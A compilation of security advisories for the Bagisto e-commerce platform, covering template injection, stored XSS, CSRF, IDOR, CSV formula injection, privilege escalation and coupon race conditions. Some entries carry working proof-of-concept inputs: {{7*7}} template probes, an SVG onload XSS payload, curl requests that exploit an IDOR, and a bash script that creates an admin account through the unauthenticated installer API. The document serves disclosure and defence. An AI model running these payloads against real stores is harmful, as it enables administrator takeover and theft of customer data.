Summary SSTI when normal customer orders any product in add address step can inject value run in admin view. Details As normal user 1. Go to http://127.0.0.1:8000/ 2. Add order to cart and continue to checkout 3. In step of add address inject this value {{77}} in any input

As admin 1. Go to http://127.0.0.1:8000/admin/sales/orders 2. And notice the vlaue appear in admin view 49

As normal user 3. Go to add address normally http://127.0.0.1:8000/customer/account/addresses/create and inject {{77}} on it and will notice it appear 49 <img width="1868" height="868" alt="image" src="https://github.com/user-attachments/assets/279627e9-6361-4d39-a500-0fc20e163d25" />

PoC - Video attached with the report: https://github.com/user-attachments/assets/a814b30c-a3e2-4a40-8644-336e21e60d0d

Impact - Can lead to RCE

Bagisto Cross-Site Request Forgery vulnerability

Vulnerable Code

File: packages/Ibkul/Installer/src/Routes/Ib.php

<?php

use Illuminate\\Session\\Middleware\\StartSession; use Illuminate\\Support\\Facades\\Route; use Ibkul\\Installer\\Http\\Controllers\\InstallerController;

Route::middleware(\['Ib', 'installer\locale'\])-\>group(function () { Route::controller(InstallerController::class)-\>group(function () { Route::get('install', 'index')-\>name('installer.index');

Route::middleware(StartSession::class)-\>prefix('install/api')-\>group(function () { Route::post('env-file-setup', 'envFileSetup')-\>name('installer.env\file\setup'); Route::post('run-migration', 'runMigration')-\>name('installer.run\migration')-\>withoutMiddleware('Ib'); Route::post('run-seeder', 'runSeeder')-\>name('installer.run\seeder')-\>withoutMiddleware('Ib'); Route::get('download-sample', 'downloadSample')-\>name('installer.download\sample')-\>withoutMiddleware('Ib'); Route::post('admin-config-setup', 'adminConfigSetup')-\>name('installer.admin\config\setup')-\>withoutMiddleware('Ib'); Route::post('sample-products-setup', 'createSampleProducts')-\>name('installer.sample\products\setup')-\>withoutMiddleware('Ib'); }); }); });

API routes remain active even after initial installation is complete, allowing any unauthenticated attacker to:

- Create admin accounts - Modify application configuration - Potentially overwrite existing data

the underlying API endpoints (/install/api/) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly.

How to Reproduce

1. The Ib installer UI at http://localhost:8000/install has client-side protections 2. However, the API endpoints are directly exploitable: - The attack works by calling /install/api/admin-config-setup directly via curl/HTTP client - No CSRF token, session, or authentication is required - The Ib UI workflow is completely bypassed

Proof of Concept

#!/bin/bash PoC: Create admin account without authentication

TARGET="http://localhost:8000"

Create a new admin account curl -X POST "$TARGET/install/api/admin-config-setup" \ -H "Content-Type: application/json" \ -d '{ "adminname": "Attacker", "adminemail": "attacker@evil.com", "adminpassword": "HackedPassword123" }'

echo "" echo "New admin account created!" echo "Login at: $TARGET/admin" echo "Email: attacker@evil.com"

Expected Result

The API should reject unauthenticated requests with 401/403 status.

Actual Result

The API accepts the request and creates a new admin account, allowing full administrative access to the e-commerce platform.

Recommended Patch

Add installation completion check

// In InstallerController.php or a new middleware

public function construct() { // Check if application is already installed if (fileexists(basepath('.env')) && config('app.key') && \Schema::hasTable('admins') && \DB::table('admins')->count() > 0) { abort(404, 'Application already installed'); } }

Incorrect privilege assignment in the admin user-management component of Webkul Bagisto 2.4.9 allows an authenticated backend user holding only the settings.users.edit permission to escalate to full administrator. The user-update endpoint (route admin.settings.users.update, UserController::update()) does not verify that the actor is permitted to grant the requested role, does not prevent a user from changing their own role, and does not restrict assignment to roles whose permission set is a subset of the actor's own. By submitting a request that sets roleid to the Administrator role for their own account, a low-privileged administrator gains every admin-panel capability, including store configuration, payment gateway credentials, and customer PII.

Authorization Bypass Through User-Controlled Key in Bagisto

Bagisto 0.1.5 allows CSRF under /admin URIs.

Bagisto v1.5.1 is vulnerable to Server-Side Template Injection (SSTI).

An authenticated stored XSS vulnerability exists in the Bagisto 2.3.6 admin panel's product creation path, allowing an attacker to upload a crafted SVG file containing malicious JavaScript code. This vulnerability can be exploited by an authenticated admin user to execute arbitrary JavaScript in the browser, potentially leading to session hijacking, data theft, or unauthorized actions.

Improper validation of the quantity parameter in the add-to-cart path of Webkul Bagisto v2.4.9 allows authenticated attackers to reduce their order total below the legitimate price of shippable goods.

Summary SSTI is possible via first name and last name parameters provided by lowest-privileged users. Details 1. Go to http://127.0.0.1:8000/ and login or signup 2. Go to http://127.0.0.1:8000/customer/account/profile 3. Now edit the first name and last name to {{77}} 4. Notice it appears as 49

POC - Video attached with the report: https://github.com/user-attachments/assets/f93932b5-2a57-4f34-897e-4151a5168912

Impact This can lead to RCE, command injection.

Summary SSTI is possible in Bagisto via type parameter can lead to RCE and other exploitations.

Details 1. Go to http://127.0.0.1:8000/admin/reporting/products/view?type={{77}}

<img width="1251" height="282" alt="image" src="https://github.com/user-attachments/assets/652e96f4-631e-4322-8561-63f4d897a480" />

Impact Can lead to RCE, command injection.

Summary When product data that begins with a spreadsheet formula character (for example =, +, -, or @) is accepted and later exported or saved into a CSV and opened in spreadsheet software, the spreadsheet will interpret that cell as a formula. This allows an attacker to supply a CSV field (e.g., product name) that contains a formula which may be evaluated by a victim’s spreadsheet application — potentially leading to data exfiltration and remote command execution (via older Excel exploits / OLE/cmd constructs or Excel macros).

Details Spreadsheet applications treat cell text that begins with characters =, +, -, @ as formulas. If unescaped, spreadsheet will interpret and evaluate the content when the file is opened. The application fails to neutralize/escape leading formula characters when generating CSV or when accepting CSV import fields for display/export.

PoC Insert CSV formula to the product name field, and save the changes. Export it to CSV file, open it and the calc.exe will be executed. Other CSV export functions are affected as well. http://127.0.0.1/admin/catalog/products/edit/1 <img width="408" height="302" alt="image" src="https://github.com/user-attachments/assets/2c6fd1e3-6725-4bf4-9c64-20cd57f4e279" /> <img width="1696" height="854" alt="image" src="https://github.com/user-attachments/assets/911a69ae-65ac-4a8a-ad8e-63571a9610c8" />

Impact Data exfiltration: Using spreadsheet functions (e.g., WEBSERVICE, HYPERLINK, or concatenation to create requests) on victims' machines that make network calls. Remote command execution: In some historical cases, specially crafted formulas and older Excel behaviors can lead to RCE. Modern Excel hardens many of these, but risk remains depending on environment.

Summary

An Insecure Direct Object Reference vulnerability in the customer order reorder function allows any authenticated customer to add items from another customer's order to their own shopping cart by manipulating the order ID parameter. This exposes sensitive purchase information and enables potential fraud.

Details

The vulnerability exists in the reorder method within OrderController.php. Unlike other order-related functions like view, cancel, printInvoice that properly validate customer ownership, the reorder function retrieves orders using only the order ID without verifying that the order belongs to the authenticated customer.

Code location: packages/Webkul/Shop/src/Http/Controllers/Customer/Account/OrderController.php

Exposed Route: packages/Webkul/Shop/src/Routes/customer-routes.php

php Route::get('reorder/{id}', 'reorder')->name('shop.customers.account.orders.reorder');

PoC

I. Create victim account and place an order. II. Login as attacker. III. Exploit IDOR and navigate like: http://target.xxx/customer/account/orders/reorder/1 IV. Check http://target.xxx/checkout/cart and verify exploitation. V. Victim's order items are now in Attacker's cart.

PoC via curl:

curl -c cookies.txt -X POST "http://target.xxx/customer/login" -d "email=attacker@evil.com&password=123qwe"

curl -b cookies.txt "http://target.xxx/customer/account/orders/reorder/1"

curl -b cookies.txt "http://target/api/checkout/cart"

Impact

- Information Disclosure: Attackers can discover what products other customers have purchased. - Potential Fraud: Attackers could potentially exploit this for social engineering or targeted attacks.

Summary In Bagisto v2.3.7, the TinyMCE image upload functionality allows an attacker with sufficient privileges (e.g. admin) to upload a crafted HTML file containing embedded JavaScript. When viewed, the malicious code executes in the context of the admin/user’s browser.

Details The application blocks the uploading of HTML files; however, if the backend detected that the content of the .png file is HTML or JavaScript, the file extension will be automatically converted from .png to .html. When the HTML is viewed, it will execute the JavaScript code.

PoC Created a html file, renamed the extension to .png, and uploaded the file. It was converted to HTML file in the backend. When opened in another tab, the JavaScript code will execute. <img width="1605" height="702" alt="image" src="https://github.com/user-attachments/assets/bd9406aa-2380-464f-ac21-32d483639969" /> <img width="1358" height="314" alt="image" src="https://github.com/user-attachments/assets/e5a64a5a-39fb-4fdb-ada9-14c4b9554803" />

Impact A aalicious script is stored in HTML file and executed when the content is viewed. An attacker (with upload privilege) can target other admin users or editors who view the content, enabling session hijacking, unauthorized actions, or privilege escalation.

Summary In Bagisto v2.3.7, the TinyMCE image upload functionality allows an attacker with sufficient privileges (e.g. admin) to upload a crafted SVG file containing embedded JavaScript. When viewed, the malicious code executes in the context of the admin/user’s browser.

Details The underlying problem is that SVG is XML/markup, so when it is uploaded and then directly rendered or embedded, script or event handlers within are allowed to run unless sanitized. In Bagisto, the integration of TinyMCE’s image upload (or media manager) may accept SVG files without sanitizing or rejecting unsafe content. When the SVG is later included (inline or via object/embed) in content displayed in admin or UI, the browser may execute the script portion of the SVG. The application might not validate the file content (i.e. inspect the SVG XML) or strip <script>, onload, onclick, foreignObject, xlink:href injection, objects/embed tags, etc.

PoC Navigate to any forms with TinyMCE editor. Attempt to upload a SVG file with embedded JavaScript. <img width="1580" height="795" alt="image" src="https://github.com/user-attachments/assets/17df21a4-bfcd-4c51-a963-68f68241fd2e" /> JavaScript was triggered. <img width="1402" height="409" alt="image" src="https://github.com/user-attachments/assets/d0e326c3-6f23-449d-8f90-1e1032818d80" />

Impact Malicious script is stored in SVG file and executed when the content is viewed. An attacker (with upload privilege) can target other admin users or editors who view the content, enabling session hijacking, unauthorized actions, or privilege escalation.

Summary In Bagisto v2.3.7, the “Create New Customer” feature (in the admin panel) is vulnerable to reflected / stored Cross-Site Scripting (XSS). An attacker with access to the admin create-customer form can inject malicious JavaScript payloads into certain input fields. These payloads may later execute in the context of an admin’s browser or another user viewing the customer data, enabling session theft or admin-level actions.

Details The vulnerability arises because certain input fields are not properly sanitized or escaped when rendering customer data in the admin UI. The form data is stored in the database (i.e. it is stored XSS), and later when customer records are displayed (e.g. in a grid, detail view, or listing), the input is interpolated into HTML without encoding or filtering.

PoC Navigate to sales orders, and create a new customer. <img width="643" height="567" alt="image" src="https://github.com/user-attachments/assets/e3a7c5a2-f53b-4db6-ac23-3451bca58956" /> Enter the payload "><svg/onload=prompt(document.domain)> to the firstname and lastname. <img width="1527" height="767" alt="image" src="https://github.com/user-attachments/assets/86ac325e-7700-477d-a13d-be2d4885f510" /> Scripts were triggered. <img width="1267" height="321" alt="image" src="https://github.com/user-attachments/assets/ce673b44-13cc-4e88-a89e-03bf0bd7e244" /> <img width="1336" height="404" alt="image" src="https://github.com/user-attachments/assets/d45913ea-b177-4926-8612-92518e12f11e" />

Impact Stored XSS vulnerability — malicious script persisted in database and executed when viewing the data. An attacker (with limited privilege) could inject JavaScript that runs in the browser of an admin or user who views injected customer records. The script can steal session cookies, perform actions on behalf of admin, escalate privileges, or pivot into further attacks. In an e-commerce admin system, this is high severity due to potential access to customer data, order management, or site configuration.

Summary Bagisto v2.3.7 is vulnerable to Server-Side Template Injection (SSTI) due to unsanitized user input being processed by the server-side templating engine when rendering product descriptions. This allows an attacker with product creation privileges to inject arbitrary template expressions that are evaluated by the backend — potentially leading to Remote Code Execution (RCE) on the server.

Details In Bagisto, product descriptions are rendered through Laravel’s Blade templating engine in various front-end and admin views. The product description field is not sanitized or escaped before being passed to the view, which means user-supplied data can break out of the expected string context and execute arbitrary template code.

PoC Create a product and enter the payload to the description. <img width="679" height="669" alt="image" src="https://github.com/user-attachments/assets/1e5dac3f-4043-4b31-98ed-f4346feb5477" /> Preview the page, observed that the template expressions were evaluated by the backend and displayed on the screen. <img width="1431" height="922" alt="image" src="https://github.com/user-attachments/assets/16f29c6e-05f4-40c4-9926-0c59e0a979c2" />

Impact RCE potential: Attackers can execute arbitrary PHP code or system commands. Data breach: Read sensitive environment variables (.env), API keys, or database credentials. Defacement / persistence: Inject malicious scripts or backdoors in dynamic templates. Privilege escalation: If attackers have limited roles (e.g., product manager), they can compromise the entire application or host.

Bagist Cross-site Scripting vulnerability

Bagisto vulnerable to Insecure Direct Object Reference (IDOR)

An issue WebKul Bagisto v.2.3.6 allows a remote attacker to execute arbitrary code via the Cart/Checkout API endpoint, specifically, the price calculation logic fails to validate quantity inputs properly.

An issue in Webkul Bagisto 2.4.9 allows a remote attacker to obtain sensitive information via the add-to-cart API and the downloadable fulfilment components.

Bagisto before 2.3.16 and 2.4.x before 2.4.1 contains a race condition vulnerability in manageCartRule() that allows attackers to redeem single-use coupons multiple times. Attackers can submit concurrent order requests to the onepage orders checkout endpoint, bypassing unlocked timesused checks to apply discounts repeatedly.

Summary A stored Cross-Site Scripting (XSS) vulnerability exists in Bagisto 2.3.8 within the CMS page editor. Although the platform normally attempts to sanitize <script> tags, the filtering can be bypassed by manipulating the raw HTTP POST request before submission. As a result, arbitrary JavaScript can be stored in the CMS content and executed whenever the page is viewed or edited. This exposes administrators to a high-severity risk, including complete account takeover, backend hijacking, and malicious script execution.

Details Bagisto’s CMS editor includes an HTML sanitation mechanism intended to protect against script injection by wrapping raw script content in <div> elements. However, this mechanism is applied only to requests submitted through the UI. When the CMS update request is intercepted and modified at the HTTP level, the sanitation layer fails to strip or encode embedded <script> tags.

Because the back-end trusts the manipulated request, the malicious script is stored in the database exactly as submitted. When an administrator opens the CMS page (either in the editor or in the storefront), the JavaScript executes in the browser context with full admin privileges.

The vulnerability stems from insufficient server-side sanitization. Sanitization logic appears to rely on client-side or UI-layer controls, leaving the underlying HTTP endpoint unprotected.

PoC A Bagisto 2.3.8 installation with access to the admin panel Ability to intercept and modify outgoing CMS update requests (e.g., via a proxy tool) Editing any CMS page (such as /admin/cms/edit/{id})

By introducing unfiltered script content directly into the HTTP payload; bypassing the UI-level sanitization the CMS endpoint accepts and stores the malicious JS.

Steps to Reproduce

1. Log in as admin 2. Navigate to: /admin/cms/edit/1 3. Intercept the request (e.g., using Burp Suite) 4. Modify the en[htmlcontent] field to include raw JavaScript:

<img width="1166" height="580" alt="unnamed" src="https://github.com/user-attachments/assets/2163def6-02a4-46d3-b0bf-a66dcce00f55" />

<img width="1167" height="573" alt="unnamed" src="https://github.com/user-attachments/assets/ffe540aa-f7f9-4dc9-b934-6d2798cafa0a" />

A video PoC has been prepared showing:

Normal CMS editing behavior How the sanitation process is expected to work How altering the raw request bypasses sanitization Execution of the stored script once the page is loaded This helps illustrate both expected behavior and actual vulnerability behavior clearly.

Video PoC: https://drive.google.com/file/d/1quGkBq1zwRhVrlJtVeDk9iQeUzqIyOM-/view

Impact Administrator account takeover Session hijacking Unauthorized actions performed in admin context Defacement or injection of malicious content into public pages Potential expansion into full application compromise

Recommendations

Implement server-side sanitization (e.g., HTMLPurifier or Laravel Purifier) to strip or encode <script> tags regardless of how the request is manipulated.

Cross Site Scripting vulnerability in webkil Bagisto v.1.5.0 and before allows an attacker to execute arbitrary code via a crafted SVG file uplad.

A security vulnerability has been detected in Webkul Bagisto up to 2.4.4. This vulnerability affects unknown code of the file /admin/reporting/sales/ of the component Backend Reporting Endpoint. The manipulation leads to authorization bypass. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. The vendor confirms: "The reported issues were already identified through our internal security assessment process prior to this notification and are being handled through our established internal security and development lifecycle. Some of these items have already been addressed, while the remaining items are planned for resolution in upcoming product releases."

A vulnerability has been found in Webkul Bagisto up to 2.4.4. Affected by this vulnerability is an unknown functionality of the file /customer/account/rma/update-status of the component RMA State Validation. The manipulation leads to enforcement of behavioral workflow. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor confirms: "The reported issues were already identified through our internal security assessment process prior to this notification and are being handled through our established internal security and development lifecycle. Some of these items have already been addressed, while the remaining items are planned for resolution in upcoming product releases."

A vulnerability was found in Webkul Bagisto up to 2.4.4. Affected by this issue is some unknown functionality of the file /admin/configuration/cache-management/execute of the component Configuration Management. The manipulation of the argument action results in authorization bypass. The attack may be launched remotely. The exploit has been made public and could be used. The vendor confirms: "The reported issues were already identified through our internal security assessment process prior to this notification and are being handled through our established internal security and development lifecycle. Some of these items have already been addressed, while the remaining items are planned for resolution in upcoming product releases."

A vulnerability was identified in Webkul Bagisto up to 2.4.4. This vulnerability affects unknown code of the file /admin/customers of the component Backend Customer Behavior Data Endpoint. Such manipulation of the argument ID leads to improper privilege management. The attack can be executed remotely. The exploit is publicly available and might be used. The vendor confirms: "The reported issues were already identified through our internal security assessment process prior to this notification and are being handled through our established internal security and development lifecycle. Some of these items have already been addressed, while the remaining items are planned for resolution in upcoming product releases."

A vulnerability was detected in Webkul Bagisto up to 2.4.4. Impacted is an unknown function of the file /customer/account/rma/store. The manipulation of the argument rmaqty/resolutiontype/rmareasonid results in enforcement of behavioral workflow. The attack may be performed from remote. The exploit is now public and may be used. The vendor confirms: "The reported issues were already identified through our internal security assessment process prior to this notification and are being handled through our established internal security and development lifecycle. Some of these items have already been addressed, while the remaining items are planned for resolution in upcoming product releases."

A flaw has been found in Webkul Bagisto up to 2.4.4. The affected element is an unknown function of the file /customer/register of the component Customer-Registration Notification Email. This manipulation of the argument firstname/lastname causes basic cross site scripting. It is possible to initiate the attack remotely. The exploit has been published and may be used. The vendor confirms: "The reported issues were already identified through our internal security assessment process prior to this notification and are being handled through our established internal security and development lifecycle. Some of these items have already been addressed, while the remaining items are planned for resolution in upcoming product releases."